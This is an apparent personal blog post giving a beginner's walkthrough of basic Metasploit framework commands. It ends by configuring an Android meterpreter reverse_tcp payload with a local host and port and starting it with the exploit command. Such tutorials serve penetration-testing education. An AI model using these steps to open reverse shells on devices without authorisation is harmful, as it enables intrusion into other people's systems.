Tuesday, March 19, 2019

Metasploit basics part one

Hi today we going to start with Metasploit commands

WHAT IS METASPLOIT ??
Metasploit framework is a tool designed for pentesting. there may ways to use Metasploit recon,exploits,scanning and post exploit. It comes preinstalled on many pentesting os Kali,patriot,cyborg hawk to name a few.

Interfaces of Metasploit:
(1) msfconsole to open the command line to Metasploit in Linux or Unix terminal
(2) msfcli this the Linux command interface
(3)Armitage is the GUI for

Module’s of Metasploit
(1) Exploits
(2) payloads
(3) Auxiliary
(4) post exploit
(5) nop
(6) encoders

Getting started

so before we start Metasploit we need to start the postgrsql
service postgrsql start is the command
Hacking A Rise postql

now once its started type msfconsole to the terminal so start Metasploit
Hacking A Rise Screenshot-from-2019-03-19-15-46-56

So now u are welcomed with that sexy screen haha now we are using the help command type help or ? this will bring up the core commands to Metasploit
Hacking A Rise help
there to many commands for me to start taking screenshots lol .

now the show command this command is to show you the list of options,payload so on to use this command just type show and what u wanna see e.g show payloads
Hacking A Rise payloads

The next command is the use command this is used to set the handler the payloads and thing really
Hacking A Rise use1
Hacking A Rise use2

always after the use command we use the set command this to set the options in the payload
so we start the show options see the settings
Hacking A Rise showoptions
as u see noting set at the moment
now we use the set command as im using android payloads for then the command be set payload android/meterpreter/reverse_tcp
set lhost 127.0.0.1 or what ever your host will be
set lport 4444 or what ever port u are using
Hacking A Rise set2
no looks full hahaha now use the exploit command to start the exploit
Hacking A Rise Screenshot-from-2019-03-19-16-36-30

Last command is the info command this will gave u the info on payloads the encoders etc…. use info then what u want the info you want. This is the command show info android/meterpreter/reverse_tcp

Hacking A Rise Screenshot-from-2019-03-19-16-39-13

so since the simple basic commands down the next we work on is the modules and what there used for

THANK YOU FOR READING
Laughingman

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.